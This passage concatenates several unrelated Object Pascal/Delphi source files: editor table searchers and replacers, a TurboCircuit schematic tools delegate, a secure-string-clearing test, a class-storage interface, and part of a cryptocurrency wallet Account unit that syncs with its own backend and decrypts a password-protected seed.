aText: Tl3CustomString;
const aSel: TevPair;
out theSel: TevPair): Boolean;
//#UC START# *50751B680376_50751AEF02A9_var*
var
l_P : InevPara;
//#UC END# *50751B680376_50751AEF02A9_var*
begin
//#UC START# *50751B680376_50751AEF02A9_impl*
Result := inherited DoCheckText(aPara, aText, aSel, theSel);
if Result then
begin
if not aPara.QT(InevPara, l_P) then
Assert(false);
if (l_P.PID > 0) then
begin
Result := false;
Exit;
end;//l_P.PID > 0
if (l_P.OwnerPara.PID > 0) then
begin
Result := false;
Exit;
end;//l_P.OwnerPara.PID > 0
if (l_P.OwnerPara.OwnerPara.PID > 0) then
begin
Result := false;
Exit;
end;//l_P.OwnerPara.OwnerPara.PID > 0
end;//Result
//#UC END# *50751B680376_50751AEF02A9_impl*
end;//TevFirstTableCellSearcher.DoCheckText
class function TevOldNSRCFlagReplacer.Make(anOptions: TevSearchOptionSet = []): IevReplacer;
//#UC START# *507530F8022A_50751B080168_var*
var
l_Replacer : TevOldNSRCFlagReplacer;
//#UC END# *507530F8022A_50751B080168_var*
begin
//#UC START# *507530F8022A_50751B080168_impl*
l_Replacer := Create;
try
l_Replacer.f_FlagInit := False;
l_Replacer.f_FlagValue := False;
l_Replacer.Options := anOptions;
l_Replacer.Text := '';
Result := l_Replacer;
finally
FreeAndNil(l_Replacer);
end;//try..finally
//#UC END# *507530F8022A_50751B080168_impl*
end;//TevOldNSRCFlagReplacer.Make
function TevOldNSRCFlagReplacer.ReplaceFunc(const aView: InevView;
const Container: InevOp;
const aBlock: InevRange): Boolean;
//#UC START# *4D553AC103A3_50751B080168_var*
var
l_Table: Tl3Variant;
//#UC END# *4D553AC103A3_50751B080168_var*
begin
//#UC START# *4D553AC103A3_50751B080168_impl*
if evInPara(aBlock.BottomChildBlock(aView).Obj^.AsObject, k2_typTable, [k2_typSBS], l_Table) then
begin
if not f_FlagInit then
begin
f_FlagValue := not l_Table.BoolA[k2_tiOldNSRC];
f_FlagInit := True;
end; // if not f_FlagInit then
l_Table.BoolW[k2_tiOldNSRC, Container] := f_FlagValue;
end;
//#UC END# *4D553AC103A3_50751B080168_impl*
end;//TevOldNSRCFlagReplacer.ReplaceFunc
class function TevTableCellFrameReplacer.Make(aFrame: Integer;
anOptions: TevSearchOptionSet = []): IevReplacer;
//#UC START# *507531E0006E_50751B12004F_var*
var
l_Replacer : TevTableCellFrameReplacer;
//#UC END# *507531E0006E_50751B12004F_var*
begin
//#UC START# *507531E0006E_50751B12004F_impl*
l_Replacer := Create;
try
l_Replacer.Options := anOptions;
l_Replacer.Text := '';
l_Replacer.f_Frame := aFrame;
Result := l_Replacer;
finally
FreeAndNil(l_Replacer);
end;//try..finally
//#UC END# *507531E0006E_50751B12004F_impl*
end;//TevTableCellFrameReplacer.Make
function TevTableCellFrameReplacer.ReplaceFunc(const aView: InevView;
const Container: InevOp;
const aBlock: InevRange): Boolean;
//#UC START# *4D553AC103A3_50751B12004F_var*
var
l_Cell : Tl3Variant;
//#UC END# *4D553AC103A3_50751B12004F_var*
begin
//#UC START# *4D553AC103A3_50751B12004F_impl*
if evInPara(aBlock.BottomChildBlock(aView).Obj^.AsObject, k2_typTableCell, [k2_typSBSCell], l_Cell) then
begin
Result := true;
l_Cell.IntW[k2_tiFrame, Container] := f_Frame;
end//evInPara(aPara, k2_idTableCell, l_Cell)
else
Result := false;
//#UC END# *4D553AC103A3_50751B12004F_impl*
end;//TevTableCellFrameReplacer.ReplaceFunc
function TevTextInContinueCellSearcher.CheckCellType(aCell: Tl3Variant): Boolean;
//#UC START# *5075300802E0_50751F2001E9_var*
//#UC END# *5075300802E0_50751F2001E9_var*
begin
//#UC START# *5075300802E0_50751F2001E9_impl*
Result := aCell.Attr[k2_tiMergeStatus].IsValid and (TevMergeStatus(aCell.IntA[k2_tiMergeStatus]) = ev_msContinue);
//#UC END# *5075300802E0_50751F2001E9_impl*
end;//TevTextInContinueCellSearcher.CheckCellType
end.
|
unit toolscode;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, Controls, LCLType,
// TurboCircuit
constants, schematics, document, tclists,
// fpvectorial
fpvectorial, fpvelectricalelements;
type
{ TToolsDelegate }
TToolsDelegate = class(TSchematicsDelegate)
public
Owner: TSchematics;
constructor Create;
destructor Destroy; override;
procedure HandleKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); override;
procedure HandleKeyPress(Sender: TObject; var Key: char); override;
procedure HandleMouseDown(Sender: TOBject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); override;
procedure HandleMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); override;
procedure HandleMouseUp(Sender: TOBject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); override;
procedure HandleUTF8KeyPress(Sender: TObject; var UTF8Key: TUTF8Char); override;
end;
var
vToolsDelegate: TToolsDelegate;
implementation
{ TToolsDelegate }
constructor TToolsDelegate.Create;
begin
inherited Create;
end;
destructor TToolsDelegate.Destroy;
begin
inherited Destroy;
end;
procedure TToolsDelegate.HandleKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
var
lList: PTCElementList;
begin
case Key of
VK_DELETE:
begin
if vDocument.IsSomethingSelected then
begin
lList := vDocument.GetListForElement(vDocument.SelectedElementType);
lList^.Remove(vDocument.SelectedTCElement);
// It is fundamental to clear the selection,
// because otherwise the drawing code will try
// to draw the selected component, which no longer exists
vDocument.ClearSelection;
// Also mark the modified flag
vDocument.Modified := True;
Owner.UpdateAndRepaint(nil);
end;
end;
end;
end;
procedure TToolsDelegate.HandleKeyPress(Sender: TObject; var Key: char);
begin
case Key of
^R:
begin
{ If a component is selected, rotate it }
if (vDocument.SelectedElementType = toolComponent) then
begin
vDocument.RotateOrientation(vDocument.GetSelectedComponent()^.Orientation);
vDocument.Modified := True;
Owner.UpdateAndRepaint(nil);
end
{ If a component is selected to be added, then rotate it }
else
begin
if (vDocument.CurrentTool in [toolComponent, toolRasterImage]) then
begin
vDocument.RotateOrientation(vDocument.NewItemOrientation);
Owner.UpdateAndRepaint(nil);
end;
end;
end;
end; // case
end;
procedure TToolsDelegate.HandleMouseDown(Sender: TOBject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var
DocPos, FPVDocPos: TPoint;
segment: T2DSegment;
begin
Owner.SetFocus;
DocPos := vDocument.GetDocumentPos(X, Y);
FPVDocPos := vDocument.GetVectorialDocumentPos(X, Y);
DragStartPos := DocPos;
case vDocument.CurrentTool of
toolArrow:
begin
{ Clear selection }
vDocument.ClearSelection;
{ Attempts to select a component }
vDocument.SelectionInfo := vDocument.Components.FindElement(DocPos, vDocument.SelectedTCElement);
if vDocument.SelectionInfo <> ELEMENT_DOES_NOT_MATCH then
begin
vDocument.SelectedElementType := toolComponent;
DragDropStarted := True;
vDocument.NewItemOrientation := PTCComponent(vDocument.SelectedTCElement)^.Orientation;
Owner.UpdateAndRepaint(nil);
Exit;
end;
{ Attempts to select a wire }
vDocument.SelectionInfo := vDocument.Wires.FindElement(DocPos, vDocument.SelectedTCElement);
if vDocument.SelectionInfo <> ELEMENT_DOES_NOT_MATCH then
begin
vDocument.SelectedElementType := toolWire;
DragDropStarted := True;
Owner.UpdateAndRepaint(nil);
Exit;
end;
{ Attempts to select a fpvectorial element }
vDocument.SelectionvInfo := vDocument.GetPage(0).FindAndSelectEntity(FPVDocPos);
if vDocument.SelectionvInfo <> vfrNotFound then
begin
//vDocument.SelectedElementType := toolText;
DragDropStarted := True;
DragStartPos := FPVDocPos;// remove when all elements are based on fpvectorial
Owner.UpdateAndRepaint(nil);
Exit;
end;
{ Attempts to select a polyline }
vDocument.SelectionInfo := vDocument.Polylines.FindElement(DocPos, vDocument.SelectedTCElement);
if vDocument.SelectionInfo <> ELEMENT_DOES_NOT_MATCH then
begin
vDocument.SelectedElementType := toolPolyline;
DragDropStarted := True;
Owner.UpdateAndRepaint(nil);
Exit;
end;
{ Attempts to select a raster image }
vDocument.SelectionInfo := vDocument.RasterImages.FindElement(DocPos, vDocument.SelectedTCElement);
if vDocument.SelectionInfo <> ELEMENT_DOES_NOT_MATCH then
begin
vDocument.SelectedElementType := toolRasterImage;
DragDropStarted := True;
Owner.UpdateAndRepaint(nil);
Exit;
end;
end;
toolWire:
begin
DragDropStarted := True;
NewWire := TvWire.Create(vDocument.GetPage(0));
NewWire.X := FPVDocPos.X;
NewWire.Y := FPVDocPos.Y;
end;
{ Places a new text element on the document and selects it }
{ toolText:
begin
vDocument.ClearSelection;
New(NewText);
FillChar(NewText^, SizeOf(TCText), #0);
NewText^.Pos := DocPos;
end; }
toolPolyline:
begin
DragDropStarted := True;
New(NewPolyline);
NewPolyline^.NPoints := 1;
NewPolyline^.Width := 1;
// NewPolyline^.Color := clBlack;
// PenStyle: TPenStyle;
// PenEndCap: TPenEndCap;
// PenJoinStyle: TPenJoinStyle;
NewPolyline^.Points[0] := DocPos;
end;
toolEllipse:
begin
DragDropStarted := True;
NewEllipse := TvEllipse.Create(nil);
NewEllipse.X := FPVDocPos.X;
NewEllipse.Y := FPVDocPos.Y;
end;
toolRectangle:
begin
DragDropStarted := True;
NewRectangle := TPath.Create(nil);
segment := T2DSegment.Create;
segment.SegmentType := stMoveTo;
segment.X := FPVDocPos.X;
segment.Y := FPVDocPos.Y;
NewRectangle.AppendSegment(segment);
end;
end;
end;
procedure TToolsDelegate.HandleMouseMove(Sender: TObject; Shift: TShiftState;
X, Y: Integer);
begin
MouseMoveDocPos := vDocument.GetDocumentPos(X, Y);
if Assigned(OnUpdateMousePos) then OnUpdateMousePos(Sender, Shift, X, Y);
case vDocument.CurrentTool of
{ Help to move items }
toolArrow: if DragDropStarted then Owner.UpdateAndRepaint(nil);
{ Help to place components }
toolComponent: Owner.UpdateAndRepaint(nil);
{ Help to place line elements }
toolWire, toolPolyline: if DragDropStarted then Owner.UpdateAndRepaint(nil);
end;
end;
procedure TToolsDelegate.HandleMouseUp(Sender: TOBject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var
DocPos, FPVDocPos: TPoint;
lList: PTCElementList;
lPolyline: PTCPolyline;
lChanged: Boolean;
segment: T2DSegment;
StartX: Double;
StartY: Double;
lEntityIndex: Integer;
begin
DocPos := vDocument.GetDocumentPos(X, Y);
FPVDocPos := vDocument.GetVectorialDocumentPos(X, Y);
DragDropStarted := False;
lChanged := False;
case vDocument.CurrentTool of
toolArrow:
begin
{ Verify if something is being moved }
if vDocument.SelectedElement <> nil then
begin
vDocument.SelectedElement.Move(FPVDocPos.X - DragStartPos.X, FPVDocPos.Y - DragStartPos.Y);
end
else if vDocument.IsSomethingSelected then
begin
lList := vDocument.GetListForElement(vDocument.SelectedElementType);
if lList <> nil then
begin
lList^.MoveElement(vDocument.SelectedTCElement,
Point(DocPos.X - DragStartPos.X, DocPos.Y - DragStartPos.Y));
vDocument.Modified := True;
end;
vDocument.UIChangeCallback(Self);
end;
Owner.UpdateAndRepaint(nil);
end;
toolComponent:
begin
New(NewComponent);
NewComponent^.Pos.X := DocPos.X;
NewComponent^.Pos.Y := DocPos.Y;
NewComponent^.TypeID := NewComponentType;
NewComponent^.Orientation := vDocument.NewItemOrientation;
vDocument.Components.Insert(NewComponent);
lChanged := True;
end;
toolWire:
begin
NewWire.DestPos.X := FPVDocPos.X;
NewWire.DestPos.Y := FPVDocPos.Y;
vDocument.GetPage(0).AddEntity(NewWire);
lChanged := True;
end;
toolText:
begin
NewText := TvText.Create(nil);
NewText.X := FPVDocPos.X;
NewText.Y := FPVDocPos.Y;
lEntityIndex := vDocument.GetPage(0).AddEntity(NewText);
vDocument.SelectedElement := NewText;
if Assigned(OnUpdateAppInterface) then OnUpdateAppInterface(Self);
lChanged := True;
end;
toolPolyline:
begin
// Placing the start of a polyline
if DragDropStarted and (NewPolyline^.NPoints = 1) then
begin
// Add the new point
NewPolyline^.Points[NewPolyline^.NPoints] := DocPos;
NewPolyline^.NPoints += 1;
vDocument.Polylines.Insert(NewPolyline);
// Select the polyline
vDocument.SelectedElementType := toolPolyline;
vDocument.SelectedTCElement := NewPolyline;
lChanged := True;
end
// Placing more lines to a polyline
else if (vDocument.SelectedElementType = toolPolyline) then
begin
lPolyline := vDocument.GetSelectedPolyline();
lPolyline^.Points[lPolyline^.NPoints] := DocPos;
lPolyline^.NPoints := lPolyline^.NPoints + 1;
lChanged := True;
end;
end;
toolEllipse:
begin
NewEllipse.X := FPVDocPos.X;
NewEllipse.Y := FPVDocPos.Y;
vDocument.GetPage(0).AddEntity(NewEllipse);
lChanged := True;
end;
toolRectangle:
begin
StartX := T2DSegment(NewRectangle.Points).X;
StartY := T2DSegment(NewRectangle.Points).Y;
//
segment := T2DSegment.Create;
segment.SegmentType := st2DLine;
segment.X := StartX;
segment.Y := FPVDocPos.Y;
NewRectangle.AppendSegment(segment);
//
segment := T2DSegment.Create;
segment.SegmentType := st2DLine;
segment.X := FPVDocPos.X;
segment.Y := FPVDocPos.Y;
NewRectangle.AppendSegment(segment);
//
segment := T2DSegment.Create;
segment.SegmentType := st2DLine;
segment.X := FPVDocPos.X;
segment.Y := StartY;
NewRectangle.AppendSegment(segment);
//
segment := T2DSegment.Create;
segment.SegmentType := st2DLine;
segment.X := StartX;
segment.Y := StartY;
NewRectangle.AppendSegment(segment);
vDocument.GetPage(0).AddEntity(NewRectangle);
lChanged := True;
end;
end;
if lChanged then
begin
vDocument.Modified := True;
vDocument.UIChangeCallback(Self);
Owner.UpdateAndRepaint(nil);
end;
end;
procedure TToolsDelegate.HandleUTF8KeyPress(Sender: TObject;
var UTF8Key: TUTF8Char);
var
lText: PTCText;
begin
{ case vDocument.CurrentTool of
toolText:
begin
if (vDocument.SelectedElementType = toolText) then
begin
lText := vDocument.GetSelectedText();
lText^.Text += UTF8Key;
vDocument.Modified := True;
vDocument.UIChangeCallback(Self);
Owner.UpdateAndRepaint(nil);
end;
end;
end; }
end;
initialization
vToolsDelegate := TToolsDelegate.Create;
finalization
vToolsDelegate.Free;
end.
|
{$INCLUDE ../../flcInclude.inc}
{$INCLUDE ../flcCrypto.inc}
unit flcTestCryptoUtils;
interface
{$IFDEF CRYPTO_TEST}
procedure Test;
{$ENDIF}
implementation
{$IFDEF CRYPTO_TEST}
uses
flcCryptoUtils;
{ }
{ Test }
{ }
{$ASSERTIONS ON}
procedure Test;
var
S : RawByteString;
U : UnicodeString;
begin
// SecureClear allocated string reference
SetLength(S, 5);
FillChar(S[1], 5, #1);
SecureClearStrB(S);
Assert(Length(S) = 0);
//
SetLength(U, 5);
FillChar(U[1], 10, #1);
SecureClearStrU(U);
Assert(U = '');
// SecureClear constant string reference
S := 'ABC';
SecureClearStrB(S);
//
U := 'ABC';
SecureClearStrU(U);
end;
{$ENDIF}
end.
|
unit ClassStorageInt;
interface
uses
SysUtils;
type
TClassFamilyId = string;
TClassId = string;
type
IConfigHandler =
interface
function GetInteger( id : integer ) : integer;
function GetFloat( id : integer ) : double;
function GetString( id : integer ) : string;
function GetMoney( id : integer ) : currency;
function GetIntegerArray( id : integer; i, j, k, l : integer ) : integer;
function GetFloatArray( id : integer; i, j, k, l : integer ) : double;
function GetStringArray( id : integer; i, j, k, l : integer ) : string;
function GetMoneyArray( id : integer; i, j, k, l : integer ) : currency;
function GetConfigParm( strId, defVal : string ) : string;
end;
type
TClassStorage =
class
protected
function GetClassByIdx( ClassFamilyId : TClassFamilyId; Idx : integer ) : TObject; virtual; abstract;
function GetClassById ( ClassFamilyId : TClassFamilyId; Id : TClassId ) : TObject; virtual; abstract;
function GetClassCount( ClassFamilyId : TClassFamilyId ) : integer; virtual; abstract;
published
procedure RegisterClass( ClassFamilyId : TClassFamilyId; TheClassId : TClassId; TheClass : TObject ); virtual; abstract;
procedure RegisterEqv( ClassFamilyId : TClassFamilyId; OldId, NewId : TClassId ); virtual; abstract;
public
property ClassByIdx[ClassFamilyId : TClassFamilyId; Idx : integer] : TObject read GetClassByIdx;
property ClassById [ClassFamilyId : TClassFamilyId; Id : TClassId] : TObject read GetClassById;
property ClassCount[ClassFamilyId : TClassFamilyId] : integer read GetClassCount;
end;
type
EClassStorageException = class( Exception );
implementation
end.
|
unit AccountData;
interface
uses tokenData, WalletStructureData, cryptoCurrencyData, System.IOUtils,
FMX.Graphics, System.types, FMX.types, FMX.Controls, FMX.StdCtrls,
Sysutils, Classes, FMX.Dialogs, Json, Velthuis.BigIntegers, math,
System.Generics.Collections, System.SyncObjs, THreadKindergartenData;
procedure loadCryptoCurrencyJSONData(data: TJSONValue; cc: cryptoCurrency);
function getCryptoCurrencyJsonData(cc: cryptoCurrency): TJSONObject;
type
TBalances = record
confirmed: BigInteger;
unconfirmed: BigInteger;
end;
type
Account = class
name: AnsiString;
myCoins: array of TWalletInfo;
myTokens: array of Token;
TCAIterations: Integer;
EncryptedMasterSeed: AnsiString;
userSaveSeed: boolean;
hideEmpties: boolean;
privTCA: boolean;
DirPath: AnsiString;
CoinFilePath: AnsiString;
TokenFilePath: AnsiString;
SeedFilePath: AnsiString;
DescriptionFilePath: AnsiString;
BigQRImagePath: AnsiString;
SmallQRImagePath: AnsiString;
Paths: Array of AnsiString;
firstSync: boolean;
SynchronizeThreadGuardian: ThreadKindergarten;
DescriptionDict: TObjectDictionary<TPair<Integer, Integer>, AnsiString>;
constructor Create(_name: AnsiString);
destructor Destroy(); override;
procedure GenerateEQRFiles();
procedure LoadFiles();
procedure SaveFiles();
procedure AddCoin(wd: TWalletInfo);
procedure AddToken(T: Token);
function countWalletBy(id: Integer): Integer;
function getWalletWithX(X, id: Integer): TCryptoCurrencyArray;
function getSibling(wi: TWalletInfo; Y: Integer): TWalletInfo;
function aggregateBalances(wi: TWalletInfo): TBalances;
function aggregateUTXO(wi: TWalletInfo): TUTXOS;
function aggregateFiats(wi: TWalletInfo): double;
function aggregateConfirmedFiats(wi: TWalletInfo): double;
function aggregateUnconfirmedFiats(wi: TWalletInfo): double;
function getSpendable(wi: TWalletInfo): BigInteger;
function getDescription(id, X: Integer): AnsiString;
procedure changeDescription(id, X: Integer; newDesc: AnsiString);
function getDecryptedMasterSeed(Password: String): AnsiString;
function TokenExistInETH(TokenID: Integer; ETHAddress: AnsiString): boolean;
procedure wipeAccount();
procedure AsyncSynchronize();
function keepSync(): boolean;
procedure lockSynchronize();
procedure unlockSynchronize();
function isOurAddress(adr: string; coinid: Integer): boolean;
procedure verifyKeypool();
procedure asyncVerifyKeyPool();
procedure refreshGUI();
private
var
semaphore, VerifyKeypoolSemaphore: TLightweightSemaphore;
mutex: TSemaphore;
synchronizeThread: TThread;
mutexTokenFile, mutexCoinFile, mutexSeedFile, mutexDescriptionFile
: TSemaphore;
procedure Synchronize();
procedure SaveTokenFile();
procedure SaveCoinFile();
procedure SaveSeedFile();
procedure SaveDescriptionFile();
procedure LoadDescriptionFile();
procedure LoadCoinFile();
procedure LoadTokenFile();
procedure LoadSeedFile();
procedure clearArrays();
procedure AddCoinWithoutSave(wd: TWalletInfo);
procedure AddTokenWithoutSave(T: Token);
procedure changeDescriptionwithoutSave(id, X: Integer; newDesc: AnsiString);
end;
implementation
uses
misc, uHome, coinData, nano, languages, SyncThr, Bitcoin, walletViewRelated,
CurrencyConverter;
procedure Account.refreshGUI();
begin
if self = currentAccount then
begin
//frmhome.refreshGlobalImage.Start;
refreshGlobalFiat();
TThread.Synchronize(TThread.CurrentThread,
procedure
begin
repaintWalletList;
end);
TThread.Synchronize(TThread.CurrentThread,
procedure
begin
if frmhome.PageControl.ActiveTab = frmhome.walletView then
begin
try
reloadWalletView;
except
on E: Exception do
end;
end;
end);
TThread.Synchronize(TThread.CurrentThread,
procedure
begin
TLabel(frmhome.FindComponent('globalBalance')).text :=
floatToStrF(frmhome.CurrencyConverter.calculate(globalFiat),
ffFixed, 9, 2);
TLabel(frmhome.FindComponent('globalCurrency')).text := ' ' +
frmhome.CurrencyConverter.symbol;
hideEmptyWallets(nil);
end);
//frmhome.refreshGlobalImage.Stop;
end;
end;
procedure Account.asyncVerifyKeyPool();
begin
SynchronizeThreadGuardian.CreateAnonymousThread(
procedure
begin
verifyKeypool();
end).Start();
end;
procedure Account.verifyKeypool();
var
i: Integer;
licz: Integer;
batched: string;
begin
for i in [0, 1, 2, 3, 4, 5, 6, 7] do
begin
if TThread.CurrentThread.CheckTerminated then
exit();
mutex.Acquire();
SynchronizeThreadGuardian.CreateAnonymousThread(
procedure
var
id: Integer;
wi: TWalletInfo;
wd: TObject;
url, s: string;
begin
id := i;
mutex.Release();
VerifyKeypoolSemaphore.WaitFor();
try
s := keypoolIsUsed(self, id);
url := HODLER_URL + '/batchSync0.3.2.php?keypool=true&coin=' +
availablecoin[id].name;
if TThread.CurrentThread.CheckTerminated then
exit();
parseSync(self, postDataOverHTTP(url, s, false, True), True);
except
on E: Exception do
begin
end;
end;
VerifyKeypoolSemaphore.Release();
end).Start();
mutex.Acquire();
mutex.Release();
end;
while VerifyKeypoolSemaphore.CurrentCount <> 8 do
begin
if TThread.CurrentThread.CheckTerminated then
exit();
sleep(50);
end;
SaveFiles();
end;
function Account.isOurAddress(adr: string; coinid: Integer): boolean;
var
twi: TWalletInfo;
var
segwit, cash, compatible, legacy: AnsiString;
pub: AnsiString;
begin
result := false;
adr := lowercase(StringReplace(adr, 'bitcoincash:', '', [rfReplaceAll]));
for twi in myCoins do
begin
if twi.coin <> coinid then
continue;
if TThread.CurrentThread.CheckTerminated then
begin
exit();
end;
pub := twi.pub;
segwit := lowercase(generatep2wpkh(pub, availablecoin[coinid].hrp));
compatible := lowercase(generatep2sh(pub, availablecoin[coinid].p2sh));
legacy := generatep2pkh(pub, availablecoin[coinid].p2pk);
cash := lowercase(bitcoinCashAddressToCashAddress(legacy, false));
legacy := lowercase(legacy);
cash := StringReplace(cash, 'bitcoincash:', '', [rfReplaceAll]);
if ((adr) = segwit) or (adr = compatible) or (adr = legacy) or (adr = cash)
then
exit(True);
end;
end;
procedure Account.lockSynchronize();
begin
end;
procedure Account.unlockSynchronize();
begin
end;
function Account.keepSync(): boolean;
begin
result := (synchronizeThread = nil) or (not synchronizeThread.finished);
end;
procedure Account.AsyncSynchronize();
begin
if (synchronizeThread <> nil) and (synchronizeThread.finished) then
begin
synchronizeThread.Free;
synchronizeThread := nil;
end;
if synchronizeThread = nil then
begin
synchronizeThread := TThread.CreateAnonymousThread(self.Synchronize);
synchronizeThread.FreeOnTerminate := false;
synchronizeThread.Start();
// synchronizeThread.
end;
end;
procedure Account.Synchronize();
var
i: Integer;
licz: Integer;
batched: string;
dataTemp:AnsiString;
begin
if self = currentAccount then
begin
frmhome.refreshGlobalImage.Start;
end;
dataTemp := getDataOverHTTP(HODLER_URL + 'fiat.php');
synchronizeCurrencyValue(dataTemp);
dataTemp := getDataOverHTTP(HODLER_URL + 'fees.php');
synchronizeDefaultFees(dataTemp);
for i in [0, 1, 2, 3, 4, 5, 6, 7] do
begin
// if TThread.CurrentThread.CheckTerminated then
// exit();
mutex.Acquire();
SynchronizeThreadGuardian.CreateAnonymousThread(
procedure
var
id: Integer;
wi: TWalletInfo;
wd: TObject;
url, s: string;
temp: String;
begin
id := i;
mutex.Release();
semaphore.WaitFor();
try
if id in [4, 8] then
begin
for wi in myCoins do
begin
// if TThread.CurrentThread.CheckTerminated then
// exit();
if wi.coin in [4, 8] then
SynchronizeCryptoCurrency(self, wi);
end;
end
else
begin
s := batchSync(self, id);
url := HODLER_URL + '/batchSync0.3.2.php?coin=' +
availablecoin[id].name;
temp := postDataOverHTTP(url, s, self.firstSync, True);
// if TThread.CurrentThread.CheckTerminated then
// exit();
parseSync(self, temp);
end;
// if TThread.CurrentThread.CheckTerminated then
// exit();
{ TThread.CurrentThread.Synchronize(nil,
procedure
begin
updateBalanceLabels(id);
end); }
except
on E: Exception do
begin
end;
end;
semaphore.Release();
{ TThread.CurrentThread.Synchronize(nil,
procedure
begin
frmHome.DashBrdProgressBar.value :=
frmHome.RefreshProgressBar.value + 1;
end); }
end).Start();
mutex.Acquire();
mutex.Release();
end;
for i := 0 to Length(myTokens) - 1 do
begin
// if TThread.CurrentThread.CheckTerminated then
// exit();
mutex.Acquire();
SynchronizeThreadGuardian.CreateAnonymousThread(
procedure
var
id: Integer;
begin
id := i;
mutex.Release();
semaphore.WaitFor();
try
// if TThread.CurrentThread.CheckTerminated then
// exit();
SynchronizeCryptoCurrency(self, myTokens[id]);
except
on E: Exception do
begin
end;
end;
semaphore.Release();
{ TThread.CurrentThread.Synchronize(nil,
procedure
begin
frmHome.DashBrdProgressBar.value :=
frmHome.RefreshProgressBar.value + 1;
end); }
end).Start();
// if TThread.CurrentThread.CheckTerminated then
// exit();
mutex.Acquire();
mutex.Release();
end;
while (semaphore <> nil) and (semaphore.CurrentCount <> 8) do
begin
// if TThread.CurrentThread.CheckTerminated then
// exit();
sleep(50);
end;
{ tthread.Synchronize(nil , procedure
begin
showmessage( floatToStr( globalLoadCacheTime ) );
end); }
self.firstSync := false;
SaveFiles();
refreshGUI();
if self = currentAccount then
begin
frmhome.refreshGlobalImage.Stop;
end;
end;
function Account.TokenExistInETH(TokenID: Integer;
ETHAddress: AnsiString): boolean;
var
i: Integer;
begin
result := false;
for i := 0 to Length(myTokens) - 1 do
begin
if myTokens[i].addr = ETHAddress then
begin
if myTokens[i].id = TokenID then
exit(True);
end;
end;
end;
function Account.getDecryptedMasterSeed(Password: String): AnsiString;
var
MasterSeed, tced: AnsiString;
begin
tced := TCA(Password);
MasterSeed := SpeckDecrypt(tced, EncryptedMasterSeed);
if not isHex(MasterSeed) then
begin
raise Exception.Create(dictionary('FailedToDecrypt'));
{ TThread.Synchronize(nil,
procedure
begin
popupWindow.Create(dictionary('FailedToDecrypt'));
end);
exit; }
end;
exit(MasterSeed);
end;
procedure Account.wipeAccount();
begin
end;
procedure Account.GenerateEQRFiles();
begin
//
end;
function Account.getDescription(id, X: Integer): AnsiString;
var
middleNum: AnsiString;
begin
if (not DescriptionDict.tryGetValue(TPair<Integer, Integer>.Create(id, X),
result)) or (result = '') then
begin
if (X = 0) or (X = -1) then
middleNum := ''
else
middleNum := ''; // ' ' + intToStr(x+1);
result := availablecoin[id].displayname + middleNum + ' (' + availablecoin
[id].shortcut + ')';
end;
end;
procedure Account.changeDescription(id, X: Integer; newDesc: AnsiString);
begin
DescriptionDict.AddOrSetValue(TPair<Integer, Integer>.Create(id, X), newDesc);
SaveDescriptionFile();
end;
procedure Account.changeDescriptionwithoutSave(id, X: Integer;
newDesc: AnsiString);
begin
DescriptionDict.AddOrSetValue(TPair<Integer, Integer>.Create(id, X), newDesc);
end;
procedure Account.SaveDescriptionFile();
var
obj: TJSONObject;
it: TObjectDictionary<TPair<Integer, Integer>, AnsiString>.TPairEnumerator;
pair: TJSONString;
str: TJSONString;
ts: TstringList;
begin
mutexDescriptionFile.Acquire;
obj := TJSONObject.Create();
it := DescriptionDict.GetEnumerator;
while (it.MoveNext) do
begin
// it.Current.Key ;
pair := TJSONString.Create(intToStr(it.Current.Key.Key) + '_' +
intToStr(it.Current.Key.Value));
str := TJSONString.Create(it.Current.Value);
obj.AddPair(TJsonPair.Create(pair, str));
end;
it.Free;
ts := TstringList.Create();
ts.text := obj.ToString;
ts.SaveToFile(DescriptionFilePath);
ts.Free();
obj.Free;
mutexDescriptionFile.Release;
end;
procedure Account.LoadDescriptionFile();
var
obj: TJSONObject;
// it : TJSONPairEnumerator; //TObjectDictionary< TPair<Integer , Integer > , AnsiString>.TPairEnumerator;
// PairEnumerator works on 10.2
// TEnumerator works on 10.3
it: TJSONObject.TEnumerator;
// TObjectDictionary< TPair<Integer , Integer > , AnsiString>.TPairEnumerator;
ts, temp: TstringList;
begin
mutexDescriptionFile.Acquire;
if not FileExists(DescriptionFilePath) then
begin
mutexDescriptionFile.Release;
exit();
end;
ts := TstringList.Create();
ts.loadFromFile(DescriptionFilePath);
if ts.text = '' then
begin
ts.Free();
mutexDescriptionFile.Release;
exit();
end;
obj := TJSONObject(TJSONObject.ParseJSONValue(ts.text));
it := obj.GetEnumerator;
while (it.MoveNext) do
begin
temp := SplitString(it.Current.JsonString.Value, '_');
changeDescriptionwithoutSave(strToIntdef(temp[0], 0),
strToIntdef(temp[1], 0), it.Current.JsonValue.Value);
temp.Free();
end;
it.Free;
ts.Free();
obj.Free();
mutexDescriptionFile.Release;
end;
function Account.aggregateConfirmedFiats(wi: TWalletInfo): double;
var
twi: cryptoCurrency;
begin
if wi.X = -1 then
exit(wi.getConfirmedFiat());
result := 0.0;
for twi in getWalletWithX(wi.X, TWalletInfo(wi).coin) do
result := result + TWalletInfo(twi).getConfirmedFiat;
end;
function Account.aggregateUnconfirmedFiats(wi: TWalletInfo): double;
var
twi: cryptoCurrency;
begin
if wi.X = -1 then
exit(wi.getUnconfirmedFiat());
result := 0.0;
for twi in getWalletWithX(wi.X, TWalletInfo(wi).coin) do
begin
result := result + TWalletInfo(twi).getUnconfirmedFiat;
end;
end;
function Account.aggregateFiats(wi: TWalletInfo): double;
var
twi: cryptoCurrency;
begin
if wi.X = -1 then
exit(wi.getfiat());
result := 0.0;
for twi in getWalletWithX(wi.X, TWalletInfo(wi).coin) do
result := result + max(0, TWalletInfo(twi).getfiat);
end;
function Account.aggregateUTXO(wi: TWalletInfo): TUTXOS;
var
twi: cryptoCurrency;
utxo: TBitcoinOutput;
i: Integer;
begin
SetLength(result, 0);
if wi.X = -1 then
begin
for i := 0 to Length(TWalletInfo(wi).utxo) - 1 do
begin
SetLength(result, Length(result) + 1);
result[high(result)] := TWalletInfo(wi).utxo[i];
end;
exit();
end;
for twi in getWalletWithX(wi.X, TWalletInfo(wi).coin) do
begin
for i := 0 to Length(TWalletInfo(twi).utxo) - 1 do
begin
begin
SetLength(result, Length(result) + 1);
